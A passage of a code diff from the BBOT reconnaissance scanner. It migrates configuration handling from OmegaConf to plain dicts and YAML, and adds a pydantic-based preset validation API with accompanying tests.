@@ def secrets_only_config(self, config): ) def merge_custom(self, config): - """ - Merge a config into the custom config. - """ - self.custom_config = OmegaConf.merge(self.custom_config, OmegaConf.create(config)) + """Merge a config dict into the custom config.""" + self.custom_config = deep_update(self.custom_config, dict(config) if config else {}) def merge_default(self, config): - """ - Merge a config into the default config. - """ - self.default_config = OmegaConf.merge(self.default_config, OmegaConf.create(config)) + """Merge a config dict into the default config.""" + self.default_config = deep_update(self.default_config, dict(config) if config else {}) def copy(self): """ Return a semi-shallow copy of self. (`custom_config` is copied, but `default_config` stays the same) """ core_copy = copy(self) - core_copy._custom_config = self._custom_config.copy() + core_copy._custom_config = deepcopy(self._custom_config) if self._custom_config else {} + core_copy._config = None return core_copy @property diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 8e5bb23a16..a6a80599fb 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2786,36 +2786,23 @@ def truncate_filename(file_path, max_length=255): def get_keys_in_dot_syntax(config): - """Retrieve all keys in an OmegaConf configuration in dot notation. - - This function converts an OmegaConf configuration into a list of keys - represented in dot notation. + """Retrieve all leaf keys in a nested dict in dot notation. Args: - config (DictConfig): The OmegaConf configuration object. + config (dict): A nested dict. Returns: - List[str]: A list of keys in dot notation. + List[str]: A list of leaf keys in dot notation. Examples: - >>> config = OmegaConf.create({ - ... "web": { - ... "test": True - ... }, - ... "db": { - ... "host": "localhost", - ... "port": 5432 - ... } - ... }) - >>> get_keys_in_dot_syntax(config) + >>> get_keys_in_dot_syntax({"web": {"test": True}, "db": {"host": "localhost", "port": 5432}}) ['web.test', 'db.host', 'db.port'] """ - from omegaconf import OmegaConf - - container = OmegaConf.to_container(config, resolve=True) keys = [] def recursive_keys(d, parent_key=""): + if not isinstance(d, dict): + return for k, v in d.items(): full_key = f"{parent_key}.{k}" if parent_key else k if isinstance(v, dict): @@ -2823,7 +2810,7 @@ def recursive_keys(d, parent_key=""): else: keys.append(full_key) - recursive_keys(container) + recursive_keys(config) return keys diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 1100919423..9b1e2045b7 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -1,15 +1,14 @@ import re import ast import sys +import yaml import atexit import pickle import logging import importlib -import omegaconf import traceback from copy import copy from pathlib import Path -from omegaconf import OmegaConf from contextlib import suppress from bbot.core import CORE @@ -34,6 +33,77 @@ bbot_code_dir = Path(__file__).parent.parent +_UNEVALUATED = object() + + +def _eval_ast_default(node): + """ + Extract a literal default value from an AST node. Returns _UNEVALUATED if + the node can't be resolved statically (e.g. `default_factory=lambda: ...` + or a non-constant expression). Preload uses this for display-time defaults + only; actual validation happens at bake time against the real pydantic + Config class. + """ + if node is None: + return _UNEVALUATED + try: + return ast.literal_eval(node) + except (ValueError, TypeError, SyntaxError): + # Recognize a few common default_factory values. + if isinstance(node, ast.Name): + return {"list": [], "dict": {}, "set": set(), "tuple": (), "str": "", "int": 0, "float": 0.0}.get( + node.id, _UNEVALUATED + ) + return _UNEVALUATED + + +def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict]: + """ + Walk a `class Config(BaseModuleConfig):` block and extract + `(field_defaults, field_descriptions)` dicts mirroring the legacy + `options`/`options_desc` shape. + + Used by the preloader so `bbot -l` and module listing work without + importing the module (deps may be missing on the host). + """ + defaults: dict = {} + descriptions: dict = {} + for node in config_class.body: + # `model_config = ConfigDict(...)` etc. are plain assigns, not typed — skip. + if not isinstance(node, ast.AnnAssign) or not isinstance(node.target, ast.Name): + continue + name = node.target.id + if name.startswith("_"): + continue + + default = _UNEVALUATED + description = "" + + value = node.value + if isinstance(value, ast.Call) and isinstance(value.func, ast.Name) and value.func.id == "Field": + # Field(default, description="...", default_factory=..., ...) + # - first positional arg is the default, if given + if value.args: + default = _eval_ast_default(value.args[0]) + for kw in value.keywords: + if kw.arg == "default": + default = _eval_ast_default(kw.value) + elif kw.arg == "default_factory": + default = _eval_ast_default(kw.value) + elif kw.arg == "description": + with suppress(ValueError, TypeError, SyntaxError): + description = ast.literal_eval(kw.value) + elif value is not None: + default = _eval_ast_default(value) + + if default is _UNEVALUATED: + # couldn't statically determine; fall back to None so listing still works + default = None + defaults[name] = default + descriptions[name] = description + return defaults, descriptions + + class ModuleLoader: """ Main class responsible for preloading BBOT modules. @@ -196,18 +266,12 @@ def preload(self, module_dirs=None): self.flag_choices.update(set(flags)) self.__preloaded[module_name] = preloaded - config = OmegaConf.create(preloaded.get("config", {})) - self._configs[module_name] = config + self._configs[module_name] = dict(preloaded.get("config", {})) self._module_dirs_preloaded.add(module_dir) # update default config with module defaults - module_config = omegaconf.OmegaConf.create( - { - "modules": self.configs(), - } - ) - self.core.merge_default(module_config) + self.core.merge_default({"modules": self.configs()}) return new_modules @@ -254,12 +318,9 @@ def preloaded(self, type=None): return preloaded def configs(self, type=None): - configs = {} if type is not None: - configs = {k: v for k, v in self._configs.items() if self.check_type(k, type)} - else: - configs = dict(self._configs) - return OmegaConf.create(configs) + return {k: dict(v) for k, v in self._configs.items() if self.check_type(k, type)} + return {k: dict(v) for k, v in self._configs.items()} def find_and_replace(self, **kwargs): self.__preloaded = search_format_dict(self.__preloaded, **kwargs) @@ -355,15 +416,22 @@ def preload_module(self, module_file): # look for classes if type(root_element) == ast.ClassDef: for class_attr in root_element.body: + # nested `class Config(BaseModuleConfig): ...` — the new pydantic-based schema + if type(class_attr) == ast.ClassDef and class_attr.name == "Config": + config_fields, config_descs = _extract_pydantic_config(class_attr) + config.update(config_fields) + options_desc.update(config_descs) + continue + if not type(class_attr) == ast.Assign: continue # class attributes that are dictionaries if type(class_attr.value) == ast.Dict: - # module options + # module options (legacy — pre-pydantic shim) if any(target.id == "options" for target in class_attr.targets): config.update(ast.literal_eval(class_attr.value)) - # module options + # module options descriptions (legacy) elif any(target.id == "options_desc" for target in class_attr.targets): options_desc.update(ast.literal_eval(class_attr.value)) # module metadata @@ -692,25 +760,25 @@ def ensure_config_files(self): + "# Please be sure to uncomment when inserting API keys, etc.\n" ) - config_obj = OmegaConf.to_object(self.core.default_config) + config_obj = dict(self.core.default_config) # ensure bbot.yml if not files.config_filename.exists(): log_to_stderr(f"Creating BBOT config at {files.config_filename}") no_secrets_config = self.core.no_secrets_config(config_obj) - yaml = OmegaConf.to_yaml(no_secrets_config) - yaml = comment_notice + "\n".join(f"# {line}" for line in yaml.splitlines()) + yaml_str = yaml.dump(no_secrets_config, sort_keys=False) + yaml_str = comment_notice + "\n".join(f"# {line}" for line in yaml_str.splitlines()) with open(str(files.config_filename), "w") as f: - f.write(yaml) + f.write(yaml_str) # ensure secrets.yml if not files.secrets_filename.exists(): log_to_stderr(f"Creating BBOT secrets at {files.secrets_filename}") secrets_only_config = self.core.secrets_only_config(config_obj) - yaml = OmegaConf.to_yaml(secrets_only_config) - yaml = comment_notice + "\n".join(f"# {line}" for line in yaml.splitlines()) + yaml_str = yaml.dump(secrets_only_config, sort_keys=False) + yaml_str = comment_notice + "\n".join(f"# {line}" for line in yaml_str.splitlines()) with open(str(files.secrets_filename), "w") as f: - f.write(yaml) + f.write(yaml_str) files.secrets_filename.chmod(0o600) diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 27b8a6b4bd..66b73cde42 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -218,6 +218,11 @@ async def construct_command(self, host, port, protocol): "1", ] else: - cmd += ["--rate-limit", self.config.rate_limit, "--concurrency", self.config.concurrency] + cmd += [ + "--rate-limit", + str(self.config.get("rate_limit")), + "--concurrency", + str(self.config.get("concurrency")), + ] return cmd, output_path diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 28fa917fc7..e2ad87d898 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,5 +1,3 @@ -from omegaconf import OmegaConf - from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule @@ -34,7 +32,7 @@ async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) - self.headers = OmegaConf.to_object(self.config.get("headers", OmegaConf.create())) + self.headers = dict(self.config.get("headers") or {}) bearer = self.config.get("bearer", "") if bearer: self.headers["Authorization"] = f"Bearer {bearer}" diff --git a/bbot/scanner/__init__.py b/bbot/scanner/__init__.py index 17338fd73e..2f5970db48 100644 --- a/bbot/scanner/__init__.py +++ b/bbot/scanner/__init__.py @@ -1,4 +1,5 @@ from .preset import Preset +from .preset import PresetValidationError, validate_preset, validate_preset_file from .scanner import Scanner -__all__ = ["Preset", "Scanner"] +__all__ = ["Preset", "PresetValidationError", "Scanner", "validate_preset", "validate_preset_file"] diff --git a/bbot/scanner/preset/__init__.py b/bbot/scanner/preset/__init__.py index 063f3659d2..e80a0f5683 100644 --- a/bbot/scanner/preset/__init__.py +++ b/bbot/scanner/preset/__init__.py @@ -1,3 +1,4 @@ from .preset import Preset +from .validate import PresetValidationError, validate_preset, validate_preset_file -__all__ = ["Preset"] +__all__ = ["Preset", "PresetValidationError", "validate_preset", "validate_preset_file"] diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index f99305e5d8..ae51491d8f 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -1,11 +1,49 @@ import re +import yaml import logging import argparse -from omegaconf import OmegaConf from bbot.errors import * +from bbot.core.config.merge import dotted_get, dotted_set from bbot.core.helpers.misc import chain_lists, get_closest_match, get_keys_in_dot_syntax + +def _parse_cli_value(raw: str): + """ + Parse the RHS of a `-c a.b.c=value` argument. + + YAML safe_load handles `true`/`false`/`null`/ints/floats and quoted strings + the way users expect when they write `web.spider_distance=2` or + `modules.stdout.event_fields='[type, data]'`. + """ + try: + return yaml.safe_load(raw) + except yaml.YAMLError: + return raw + + +def parse_dotted_cli(entries): + """ + Parse one or more `a.b.c=value` strings into a nested dict. + + Examples: + >>> parse_dotted_cli(["modules.shodan.api_key=1234"]) + {'modules': {'shodan': {'api_key': 1234}}} + >>> parse_dotted_cli(["web.spider_distance=2"]) + {'web': {'spider_distance': 2}} + """ + result: dict = {} + for entry in entries: + if "=" not in entry: + raise ValueError(f'Expected "key=value" (got {entry!r})') + path, _, raw = entry.partition("=") + path = path.strip() + if not path: + raise ValueError(f'Empty key in "{entry}"') + dotted_set(result, path, _parse_cli_value(raw.strip())) + return result + + log = logging.getLogger("bbot.presets.args") @@ -197,8 +235,7 @@ def preset_from_args(self): # CLI config options (dot-syntax) for config_arg in self.parsed.config: try: - # if that fails, try to parse as key=value syntax - args_preset.core.merge_custom(OmegaConf.from_cli([config_arg])) + args_preset.core.merge_custom(parse_dotted_cli([config_arg])) except Exception as e: raise BBOTArgumentError(f'Error parsing command-line config option: "{config_arg}": {e}') @@ -459,7 +496,7 @@ def validate(self): all_options = set(get_keys_in_dot_syntax(self.preset.core.default_config)) for c in self.parsed.config: c = c.split("=")[0].strip() - v = OmegaConf.select(self.preset.core.default_config, c, default=sentinel) + v = dotted_get(self.preset.core.default_config, c, default=sentinel) # if option isn't in the default config if v is sentinel: # skip if it's excluded from validation diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py index a222dd1bb3..b7689e3788 100644 --- a/bbot/scanner/preset/environ.py +++ b/bbot/scanner/preset/environ.py @@ -1,6 +1,5 @@ import os import sys -import omegaconf from pathlib import Path from bbot.core.helpers.misc import ( @@ -33,11 +32,6 @@ def increase_limit(new_limit): increase_limit(65535) -# Custom custom omegaconf resolver to get environment variables -def env_resolver(env_name, default=None): - return os.getenv(env_name, default) - - def add_to_path(v, k="PATH", environ=None): """ Add an entry to a colon-separated PATH variable. @@ -65,26 +59,23 @@ def add_to_path(v, k="PATH", environ=None): add_to_path(local_bin_dir) -# Register the new resolver -# this allows you to substitute environment variables in your config like "${env:PATH}"" -omegaconf.OmegaConf.register_new_resolver("env", env_resolver) - - class BBOTEnviron: def __init__(self, preset): self.preset = preset def flatten_config(self, config, base="bbot"): """ - Flatten a JSON-like config into a list of environment variables: - {"modules": [{"httpx": {"timeout": 5}}]} --> "BBOT_MODULES_HTTPX_TIMEOUT=5" + Flatten a JSON-like config into a sequence of (KEY, value) env var pairs: + {"modules": {"httpx": {"timeout": 5}}} --> ("BBOT_MODULES_HTTPX_TIMEOUT", "5") + + Lists are skipped (they don't translate cleanly to env var values). """ - if type(config) == omegaconf.dictconfig.DictConfig: + if isinstance(config, dict): for k, v in config.items(): new_base = f"{base}_{k}" - if type(v) == omegaconf.dictconfig.DictConfig: + if isinstance(v, dict): yield from self.flatten_config(v, base=new_base) - elif type(v) != omegaconf.listconfig.ListConfig: + elif not isinstance(v, list): yield (new_base.upper(), str(v)) def prepare(self): @@ -129,7 +120,7 @@ def prepare(self): import urllib3 urllib3.disable_warnings() - ssl_verify = self.preset.config.get("ssl_verify", False) + ssl_verify = self.preset.config.get("web", {}).get("ssl_verify", False) global REQUESTS_PATCHED if not ssl_verify and not REQUESTS_PATCHED: diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index c6ab3a8220..3779011017 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -1,11 +1,9 @@ import os import yaml import logging -import omegaconf import traceback from copy import copy from pathlib import Path -from contextlib import suppress from .path import PRESET_PATH @@ -93,7 +91,7 @@ class Preset(metaclass=BasePreset): require_flags (set): Require modules to have these flags. When set, automatically removes offending modules. exclude_flags (set): Exclude modules that have any of these flags. When set, automatically removes offending modules. module_dirs (set): Custom directories from which to load modules (alias to `self.module_loader.module_dirs`). When set, automatically preloads contained modules. - config (omegaconf.dictconfig.DictConfig): BBOT config (alias to `core.config`) + config (dict): BBOT config (alias to `core.config`) core (BBOTCore): Local copy of BBOTCore object. verbose (bool): Whether log level is currently set to verbose. When set, updates log level for all BBOT log handlers. debug (bool): Whether log level is currently set to debug. When set, updates log level for all BBOT log handlers. @@ -249,7 +247,7 @@ def __init__( # bbot core config self.core = CORE.copy() if config is None: - config = omegaconf.OmegaConf.create({}) + config = {} # merge custom configs if specified by the user self.core.merge_custom(config) @@ -570,16 +568,14 @@ def apply_log_level(self, apply_core=False): if apply_core: self.core.logger.log_level = "CRITICAL" for key in ("verbose", "debug"): - with suppress(omegaconf.errors.ConfigKeyError): - del self.core.custom_config[key] + self.core.custom_config.pop(key, None) else: # then debug if self.debug: self.verbose = False if apply_core: self.core.logger.log_level = "DEBUG" - with suppress(omegaconf.errors.ConfigKeyError): - del self.core.custom_config["verbose"] + self.core.custom_config.pop("verbose", None) else: # finally verbose if self.verbose and apply_core: @@ -764,7 +760,7 @@ def from_yaml_file(cls, filename, _exclude=None, _log=False): except FileNotFoundError: raise PresetNotFoundError(f'Could not find preset at "{filename}" - file does not exist') preset = cls.from_dict( - omegaconf.OmegaConf.create(yaml_str), + yaml.safe_load(yaml_str) or {}, name=filename.stem, _exclude=_exclude, _log=_log, @@ -789,7 +785,7 @@ def from_yaml_string(cls, yaml_preset): >>> - portscan''' >>> preset = Preset.from_yaml_string(yaml_string) """ - return cls.from_dict(omegaconf.OmegaConf.create(yaml_preset)) + return cls.from_dict(yaml.safe_load(yaml_preset) or {}) def to_dict(self, include_target=False, full_config=False, redact_secrets=False): """ @@ -814,10 +810,9 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) # config if full_config: - config = self.core.config + config = dict(self.core.config) else: - config = self.core.custom_config - config = omegaconf.OmegaConf.to_object(config) + config = dict(self.core.custom_config) if redact_secrets: config = self.core.no_secrets_config(config) if config: diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py new file mode 100644 index 0000000000..f1162ae795 --- /dev/null +++ b/bbot/scanner/preset/validate.py @@ -0,0 +1,245 @@ +""" +Public `validate_preset()` API for BBOT presets. + +Given a preset-as-dict (i.e. what comes out of a YAML file before it's +instantiated), return a list of human-readable errors in three layers: + +1. Top-level preset keys (e.g. `modlues:` typo) +2. Global config (e.g. `scope.strct`, `web.sslverify`) +3. Per-module config (e.g. `modules.nuclei.tgas`) + +Errors are aggregated — a user with multiple typos gets all the errors at once +rather than having to fix one at a time. The caller decides whether to raise +or just print them. +""" + +from __future__ import annotations + +import importlib +import logging +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable, Optional + +from pydantic import ValidationError + +from bbot.core.config.models import BBOTConfig, BaseModuleConfig, PresetSchema + + +log = logging.getLogger("bbot.presets.validate") + + +@dataclass +class PresetValidationError: + """A single validation problem. Stringifies to a human-readable message.""" + + where: str # "preset", "config", "module:" + path: str # dotted location, e.g. "scope.strict" or "" + message: str # pydantic-derived message, reformatted + + def __str__(self) -> str: + loc = f"{self.where}:{self.path}" if self.path else self.where + return f"[{loc}] {self.message}" + + +def _format_pydantic_errors(exc: ValidationError, where: str) -> list[PresetValidationError]: + out: list[PresetValidationError] = [] + for err in exc.errors(): + path = ".".join(str(p) for p in err["loc"]) + kind = err["type"] + input_value = err.get("input") + if kind == "extra_forbidden": + msg = f"Unknown option: {path!r}" + if input_value is not None and isinstance(input_value, (str, int, bool, float)): + msg += f" (value: {input_value!r})" + elif kind in {"int_parsing", "int_type"}: + msg = f"Expected an integer, got {type(input_value).__name__}: {input_value!r}" + elif kind in {"bool_parsing", "bool_type"}: + msg = f"Expected a boolean, got {type(input_value).__name__}: {input_value!r}" + elif kind in {"string_type"}: + msg = f"Expected a string, got {type(input_value).__name__}: {input_value!r}" + elif kind == "list_type": + msg = f"Expected a list, got {type(input_value).__name__}" + elif kind == "missing": + msg = "Required option is missing" + else: + msg = err["msg"] + out.append(PresetValidationError(where=where, path=path, message=msg)) + return out + + +def _get_module_config_class(module_name: str, module_loader) -> Optional[type[BaseModuleConfig]]: + """ + Return the module's `Config` class, or None if the module doesn't declare one + (legacy `options`/`options_desc` dict modules). + """ + preloaded = module_loader.preloaded().get(module_name) + if not preloaded: + return None + module_path = Path(preloaded["path"]) + namespace = preloaded["namespace"] + full_namespace = f"{namespace}.{module_name}" + + # Re-import by path. Uses the existing importlib pattern from ModuleLoader.load_module. + spec = importlib.util.spec_from_file_location(full_namespace, str(module_path)) + if spec is None or spec.loader is None: + return None + mod = importlib.util.module_from_spec(spec) + try: + spec.loader.exec_module(mod) + except Exception as e: + log.debug(f"Could not import {module_name} for validation: {e}") + return None + + # Find the module class (same heuristic as ModuleLoader.load_module) + for attr_name in vars(mod): + value = getattr(mod, attr_name) + if not hasattr(value, "watched_events") or not hasattr(value, "produced_events"): + continue + if not isinstance(getattr(value, "watched_events"), list): + continue + if getattr(value, "__name__", "").lower() != module_name.lower(): + continue + cfg = getattr(value, "Config", None) + if cfg is not None and isinstance(cfg, type) and issubclass(cfg, BaseModuleConfig): + return cfg + return None + return None + + +def _modules_referenced(preset_dict: dict, config_dict: dict) -> set[str]: + """Every module mentioned anywhere in the preset — enabled, configured, or both.""" + names: set[str] = set() + for key in ("modules", "output_modules", "exclude_modules"): + names.update(preset_dict.get(key) or []) + modules_config = config_dict.get("modules") or {} + if isinstance(modules_config, dict): + names.update(modules_config.keys()) + return names + + +def validate_preset( + preset_dict: dict, + module_loader=None, + *, + validate_modules: bool = True, + known_modules: Optional[Iterable[str]] = None, +) -> list[PresetValidationError]: + """ + Validate a preset dict against BBOT's schemas. + + Returns a list of `PresetValidationError` objects. An empty list means the + preset is valid. The function aggregates errors across all three layers + (preset, config, per-module) so a user with multiple typos sees them all. + + Args: + preset_dict: Preset as a plain dict (e.g. from `yaml.safe_load`). + module_loader: Optional module loader for per-module validation. Falls + back to the global MODULE_LOADER if not provided. If neither is + available, per-module validation is skipped. + validate_modules: If False, only validate preset top-level keys and the + global config tree (skip per-module Config validation). + known_modules: Optional set of known module names. If provided, module + names not in this set are reported as errors. Defaults to the + module loader's known modules. + + Examples: + >>> errors = validate_preset({"modlues": ["nuclei"]}) + >>> print(errors[0]) + [preset:modlues] Unknown option: 'modlues' (value: ['nuclei']) + """ + errors: list[PresetValidationError] = [] + + if not isinstance(preset_dict, dict): + return [PresetValidationError("preset", "", f"Expected a dict, got {type(preset_dict).__name__}")] + + # 1. Top-level preset keys + try: + PresetSchema.model_validate(preset_dict) + except ValidationError as e: + errors.extend(_format_pydantic_errors(e, where="preset")) + + # 2. Global config tree + config_dict = preset_dict.get("config") or {} + if not isinstance(config_dict, dict): + errors.append( + PresetValidationError("config", "", f"`config` must be a dict, got {type(config_dict).__name__}") + ) + config_dict = {} + else: + # Exclude the `modules` section from root-level BBOTConfig validation; + # per-module schemas are validated separately below. + config_for_root = {k: v for k, v in config_dict.items() if k != "modules"} + try: + BBOTConfig.model_validate(config_for_root) + except ValidationError as e: + errors.extend(_format_pydantic_errors(e, where="config")) + + # 3. Per-module config + if validate_modules: + if module_loader is None: + try: + from bbot.core.modules import MODULE_LOADER + + module_loader = MODULE_LOADER + except Exception: + module_loader = None + + referenced = _modules_referenced(preset_dict, config_dict) + + if module_loader is not None: + if known_modules is None: + known_modules = set(module_loader.all_module_choices) + else: + known_modules = set(known_modules) + + modules_config = config_dict.get("modules") or {} + for name in sorted(referenced): + if name not in known_modules: + errors.append(PresetValidationError("preset", "modules", f'Unknown module: "{name}"')) + continue + + raw = modules_config.get(name) or {} + if not isinstance(raw, dict): + errors.append( + PresetValidationError( + f"module:{name}", + "", + f"module config must be a dict, got {type(raw).__name__}", + ) + ) + continue + + cfg_cls = _get_module_config_class(name, module_loader) + if cfg_cls is None: + # legacy module — no Config class yet. Skip strict validation. + continue + try: + cfg_cls.model_validate(raw) + except ValidationError as e: + errors.extend(_format_pydantic_errors(e, where=f"module:{name}")) + + return errors + + +def validate_preset_file(path: str | Path, **kwargs) -> list[PresetValidationError]: + """Convenience wrapper for validating a YAML preset file on disk.""" + import yaml + + with open(path) as f: + data = yaml.safe_load(f) or {} + if not isinstance(data, dict): + return [PresetValidationError("preset", "", f"Expected a YAML mapping, got {type(data).__name__}")] + return validate_preset(data, **kwargs) + + +__all__ = ["PresetValidationError", "validate_preset", "validate_preset_file"] + + +def _assert_preset_valid(preset_dict: dict, **kwargs) -> None: + """Raise if a preset dict has any validation errors. Tests use this.""" + from bbot.errors import ValidationError as BBOTValidationError + + errs = validate_preset(preset_dict, **kwargs) + if errs: + raise BBOTValidationError("\n".join(str(e) for e in errs)) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 76554a75d5..659bde18c4 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -76,7 +76,7 @@ class Scanner: _status_code (int): The numerical representation of the current scan status, stored for internal use. It is mapped according to the values in `_status_codes`. target (Target): Target of scan (alias to `self.preset.target`). preset (Preset): The main scan Preset in its baked form. - config (omegaconf.dictconfig.DictConfig): BBOT config (alias to `self.preset.config`). + config (dict): BBOT config (alias to `self.preset.config`). seeds (Target): Scan seeds (by default this is the same as `target`) (alias to `self.preset.seeds`). blacklist (Target): Scan blacklist (this takes ultimate precedence) (alias to `self.preset.blacklist`). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. (alias to `self.preset.helpers`). diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 1deca2be08..afdb24c016 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -7,12 +7,12 @@ import tldextract import pytest_httpserver from pathlib import Path -from omegaconf import OmegaConf # noqa from werkzeug.wrappers import Request from bbot.errors import * # noqa: F401 from bbot.core import CORE +from bbot.core.config.merge import deep_update from bbot.scanner import Preset from bbot.core.helpers.misc import mkdir, rand_string @@ -49,13 +49,14 @@ def tempapkfile(): @pytest.fixture def clean_default_config(monkeypatch): - clean_config = OmegaConf.merge( - CORE.files_config.get_default_config(), {"modules": DEFAULT_PRESET.module_loader.configs()} + clean_config = deep_update( + CORE.files_config.get_default_config(), + {"modules": DEFAULT_PRESET.module_loader.configs()}, ) with monkeypatch.context() as m: m.setattr("bbot.core.core.DEFAULT_CONFIG", clean_config) # Also clear CORE's custom_config to ensure Preset.copy() gets a clean core - m.setattr(CORE, "_custom_config", OmegaConf.create({})) + m.setattr(CORE, "_custom_config", {}) yield diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index ac4ef7b8b2..80b10a4fbb 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -1,13 +1,13 @@ import os import ssl import time +import yaml import pytest import shutil import asyncio import logging from pathlib import Path from contextlib import suppress -from omegaconf import OmegaConf from pytest_httpserver import HTTPServer from bbot.core import CORE @@ -23,7 +23,8 @@ debug_handler.setFormatter(debug_format) root_logger.addHandler(debug_handler) -test_config = OmegaConf.load(Path(__file__).parent / "test.conf") +with open(Path(__file__).parent / "test.conf") as _f: + test_config = yaml.safe_load(_f) or {} os.environ["BBOT_DEBUG"] = "True" CORE.logger.log_level = logging.DEBUG diff --git a/bbot/test/test_step_1/test_config.py b/bbot/test/test_step_1/test_config.py index b040bf5dc0..6454a8f599 100644 --- a/bbot/test/test_step_1/test_config.py +++ b/bbot/test/test_step_1/test_config.py @@ -3,23 +3,21 @@ @pytest.mark.asyncio async def test_config(bbot_scanner): - config = OmegaConf.create( - { - "plumbus": "asdf", - "speculate": True, - "modules": { - "ipneighbor": {"test_option": "ipneighbor"}, - "python": {"test_option": "asdf"}, - "speculate": {"test_option": "speculate"}, - }, - } - ) + config = { + "plumbus": "asdf", + "speculate": True, + "modules": { + "ipneighbor": {"test_option": "ipneighbor"}, + "python": {"test_option": "asdf"}, + "speculate": {"test_option": "speculate"}, + }, + } scan1 = bbot_scanner("127.0.0.1", modules=["ipneighbor"], config=config) await scan1._prep() - assert scan1.config.web.user_agent == "BBOT Test User-Agent" - assert scan1.config.plumbus == "asdf" - assert scan1.modules["ipneighbor"].config.test_option == "ipneighbor" - assert scan1.modules["python"].config.test_option == "asdf" - assert scan1.modules["speculate"].config.test_option == "speculate" + assert scan1.config["web"]["user_agent"] == "BBOT Test User-Agent" + assert scan1.config["plumbus"] == "asdf" + assert scan1.modules["ipneighbor"].config["test_option"] == "ipneighbor" + assert scan1.modules["python"].config["test_option"] == "asdf" + assert scan1.modules["speculate"].config["test_option"] == "speculate" await scan1._cleanup() diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index ff8e4d0214..571f869115 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -25,31 +25,21 @@ def test_preset_descriptions(): def test_core(): from bbot.core import CORE - import omegaconf - assert "testasdf" not in CORE.default_config assert "testasdf" not in CORE.custom_config assert "testasdf" not in CORE.config core_copy = CORE.copy() - # make sure our default config is read-only - with pytest.raises(omegaconf.errors.ReadonlyConfigError): - core_copy.default_config["testasdf"] = "test" - # same for merged config - with pytest.raises(omegaconf.errors.ReadonlyConfigError): - core_copy.config["testasdf"] = "test" - - assert "testasdf" not in core_copy.default_config - assert "testasdf" not in core_copy.custom_config - assert "testasdf" not in core_copy.config - + # custom_config is mutable per-instance; default/merged config should not leak back core_copy.custom_config["testasdf"] = "test" - assert "testasdf" not in core_copy.default_config + assert "testasdf" not in CORE.custom_config + assert "testasdf" not in CORE.config assert "testasdf" in core_copy.custom_config + # force a re-merge by reading .config assert "testasdf" in core_copy.config # test config merging - config_to_merge = omegaconf.OmegaConf.create({"test123": {"test321": [3, 2, 1], "test456": [4, 5, 6]}}) + config_to_merge = {"test123": {"test321": [3, 2, 1], "test456": [4, 5, 6]}} core_copy.merge_custom(config_to_merge) assert "test123" not in core_copy.default_config assert "test123" in core_copy.custom_config @@ -58,7 +48,9 @@ def test_core(): assert "test321" in core_copy.config["test123"] # test deletion - del core_copy.custom_config.test123.test321 + del core_copy.custom_config["test123"]["test321"] + # force re-merge + core_copy._config = None assert "test123" in core_copy.custom_config assert "test123" in core_copy.config assert "test321" not in core_copy.custom_config["test123"] @@ -902,19 +894,19 @@ def test_preset_include(): # with include= preset = Preset(include=[str(custom_preset_dir_1 / "preset1")]) - assert preset.config.modules.testpreset1.test == "asdf" - assert preset.config.modules.testpreset2.test == "fdsa" - assert preset.config.modules.testpreset3.test == "qwerty" - assert preset.config.modules.testpreset4.test == "zxcv" - assert preset.config.modules.testpreset5.test == "hjkl" + assert preset.config["modules"]["testpreset1"]["test"] == "asdf" + assert preset.config["modules"]["testpreset2"]["test"] == "fdsa" + assert preset.config["modules"]["testpreset3"]["test"] == "qwerty" + assert preset.config["modules"]["testpreset4"]["test"] == "zxcv" + assert preset.config["modules"]["testpreset5"]["test"] == "hjkl" # same thing but with presets= (an alias to include) preset = Preset(presets=[str(custom_preset_dir_1 / "preset1")]) - assert preset.config.modules.testpreset1.test == "asdf" - assert preset.config.modules.testpreset2.test == "fdsa" - assert preset.config.modules.testpreset3.test == "qwerty" - assert preset.config.modules.testpreset4.test == "zxcv" - assert preset.config.modules.testpreset5.test == "hjkl" + assert preset.config["modules"]["testpreset1"]["test"] == "asdf" + assert preset.config["modules"]["testpreset2"]["test"] == "fdsa" + assert preset.config["modules"]["testpreset3"]["test"] == "qwerty" + assert preset.config["modules"]["testpreset4"]["test"] == "zxcv" + assert preset.config["modules"]["testpreset5"]["test"] == "hjkl" # can't use both include= and presets= at the same time with pytest.raises(ValueError): diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py new file mode 100644 index 0000000000..4c697893fa --- /dev/null +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -0,0 +1,61 @@ +from ..bbot_fixtures import * # noqa: F401 + +from bbot.scanner import validate_preset + + +def test_validate_preset_valid(): + errs = validate_preset({"modules": ["sslcert"], "config": {"scope": {"strict": True}}}) + assert errs == [] + + +def test_validate_preset_typo_top_level(): + errs = validate_preset({"modlues": 